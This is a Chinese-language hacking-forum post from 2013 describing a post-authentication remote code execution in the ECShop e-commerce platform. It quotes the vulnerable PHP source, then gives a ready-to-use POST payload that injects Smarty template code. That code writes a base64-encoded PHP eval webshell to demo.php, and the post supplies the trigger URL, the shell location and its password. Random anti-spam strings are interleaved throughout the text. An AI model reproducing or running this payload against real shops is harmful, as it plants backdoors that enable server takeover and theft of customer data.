找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2996|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板, L6 ~+ \1 G  O% V1 _! }
+ u2 f1 L3 ]2 ~9 c
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了& H/ Y; `9 f0 Y) c6 o7 q
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
$ i  d* U( O0 f( |; z2 }admin/template.php
! Q: c( b  i4 r+ n& G0 |% }: G- ^. j+ t. r& z/ o
1 if ($_REQUEST['act'] == 'update_library')
. E& q+ X" k9 r- u% Y  _7 ^( @/ a+ i( y
2 [+ w+ G/ E3 K% h8 M2   
( |  ^, }5 n/ ]# Y7 x2 P
) ^( J/ f  S! M$ j7 M3 {
! Z, e6 A' o7 S0 X' t2 m: X6 w" v+ J' K* _) h
4     check_authz_json('library_manage');
9 _9 [/ Y* B8 }! l5 }, F3 u* E- ?. x( a+ q6 N$ Q% @- i1 n
5   
) L0 d. w* y: M
# [# F  C/ b3 Y6     $html = stripslashes(json_str_iconv($_POST['html'])); : ?& I8 T9 `3 [3 \5 c' h

; _8 t9 g" |. B0 C$ G7   
  H6 d2 I. e* u) p% e. Y7 P* ?* m4 U$ R- v2 k+ ~) ^0 F  h- Q
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
% Z, S% `% L# Y, g
; p. \9 S6 w, k9 D8 M8 U8 n/ ]- }9   
, x# j' l' K  t' i
7 H* D* [% |/ ~4 P% s10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
2 j0 O2 N- t, A) h- h8 `3 u
: `& i$ I5 x4 S9 g$ k11   4 g& \% j' `# C  b; u' m4 b( P3 B2 j
' M% H" W1 C: j! Z$ `8 o$ ~
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); - X: r# O; V" }, B

7 u% E: u8 I4 ]  E6 I4 O( A( H13   % {# u& }2 u! o+ q2 Y

' t% O: y& X6 R6 D14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 / j( l$ i2 T& X5 ]' X5 H0 n
& v' W$ D5 ]: D
15     {
+ i$ W; W% g3 ?
/ S  ^; z7 k3 g- k& I# ]7 B! }16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); - D; \* e7 s2 q% \4 }: i5 Z6 p

( ^) o7 Q" A9 R- l4 [3 [+ N17         make_json_result('', $_LANG['update_lib_success']);
( h! c3 T8 M" w  f1 U7 O1 V7 G1 h9 t7 J' [; e9 n2 Y
18     } ; ~! g6 ]3 W; B  C- e. @
: {7 G7 w1 O( R0 c
19     else
* f) ^' ?0 z6 N5 q
6 G5 \5 Z  S) h+ m9 c+ }& B3 T20     { ) c" f+ o0 o* m. R
8 A2 G9 g* x( }" n4 p9 ]! {
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 5 f1 @! r8 b- v
3 k* t$ S2 d7 e7 [
22     }
+ f' K# D# g1 C+ |6 l. W# `# c4 y3 s6 ?0 Y9 ]5 Q/ h
23 }
4 m7 ?3 e# j2 l. j) u& @8 L% O0 k( \$ R% T) v: B" @5 H3 m+ `
那么找个比较方便调用了模板的文件
- o6 ?& w) [8 g# Findex.php
! v- l( L% E; x' O! O' G8 C
/ B  n* ~. U) B: ~1 if ($act == 'cat_rec') , r- ^0 |" h9 b

2 B4 M6 M  l8 k" ]4 @2 k2 E( W2   & y. U8 K- \5 k% z" y
' ]: M- i3 D1 k+ ]/ m" r. }' `& u) t
3 {
. L" S3 o/ C% w4 d" j' }) {% ]) n  P7 r/ P( |2 [7 U
4   
  _8 [- E' D" {& s$ G* N9 k7 E
* _+ f) h/ n5 F: E" W5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ( C+ K3 p4 k, X3 J- C, a; Y

- ^' N, q# I: l  y6   5 r$ G" _( L! w! o5 I
- n7 V8 Q6 ^. I% W
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; " T9 V- o" o0 }) s+ u( n

& I# ^/ u0 T! T7 Y: w- G8   # i$ r0 \! Q) C
: _. t, I4 v6 ?/ K0 E
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 7 o4 ~3 _1 N% b: L3 F4 b; p# E8 _
4 b6 M6 d0 S$ \/ a
10   # w- L0 X) S, e0 w

7 d, {5 R9 @( [11     include_once('includes/cls_json.php'); ( @* z2 a/ Q' G

' ?8 e/ @' @  H+ H  z9 u12   
! e8 W: ~/ Q/ V9 i$ `% Q- Z9 b6 L! C" n3 {6 ^
13     $json = new JSON;
" e- x& `8 s, t+ M( c/ m$ w# i2 t, r1 I$ E) ?0 V, R
14   
/ |9 {# j' F( I3 J0 `# a! [, ~
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
$ R# S7 ~* y( a2 e/ I1 Y  p4 d- Z- ?- m$ e# N8 Q( a" f: V5 w; q
16   
9 \+ H, H8 d% p0 _6 r) e
) a/ l/ S. i6 k$ E17     $children = get_children($cat_id); ! N( }6 [: D/ r

$ G9 n2 {( p# T9 G* {' r8 H18   9 y5 g( V  C0 d% r6 w$ x- M! M
" ^$ a+ x8 r! C0 ?
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
6 V6 s& p% ~& K* e3 l/ ]( e+ S' D2 c, F2 k. ]. |& f
20   6 u( n. u0 L) _* L. @& y

1 u5 @" ^( D$ M  I. ^5 r21     $smarty->assign('cat_rec_sign', 1);
- \# ?4 S6 C( b
7 B+ k9 x7 ^; |; j22   
% D$ p# [* X- ^" [
) `  C( I! [: k0 q3 @: ^23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 1 l% g; n) v: H* M& j) T5 |7 U

' g8 `" a/ @& Z3 ]24   / w  V. a- q( x& p1 D- `7 p

: w: _* f# m' ~9 i25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; & B; ~9 |3 O- r  ]$ @7 i

! d. q5 s; e6 T4 W* a26   
: o2 c5 R, R- K- |; Z, W/ d6 F. j2 q# j! c" f4 \
27         echo $rec_array[$rec_type]; 1 e! W, [1 ?* G/ B4 `4 Z7 c

: Y( Z/ q- |" _8 t4 `0 x6 m28   
9 a9 T! s2 A% g, t! H4 n% J% J* N+ y" Z0 U
29     die($json->encode($result)); ) V6 G  v. {2 f4 m/ E  |
, }4 ?/ t5 d8 i2 ?" W+ Q
30   $ D3 t4 F" s7 E! j, @) `/ N; N
4 v+ Q0 e& Z, c3 [! u% b1 U
31 }
8 n4 W. F& V# T  \: E5 E& i. A- k. F9 S0 w/ y
那么就有利用方法了
5 w( j+ b. Z; }4 \post包到http://localhost/ec/admin/template.php?act=update_library
$ h* i+ q6 S/ N" xPost内容:
7 x7 }( P/ h2 {& g- r* F0 I$ N+ `/ i; k3 r; @( `6 D, h* r/ R4 r/ f/ T

- f/ n/ r4 C) Z' C1 F+ h  G' s1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}   z  m7 U6 @6 k6 T

: {# I: ~. T3 v2 w  }& t然后访问http://localhost/ec/index.php?act=cat_rec
7 _& t* ^- }  |# g) \  U
+ w" y  [3 b/ o0 e( ~; P9 }shel地址:http://localhost/ec/demo.php
: @* ]# ?) J- j; x+ [密码c% {5 P" ~6 N/ }/ h% q- Z- n' B

; n7 I! X7 o2 _% i; [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表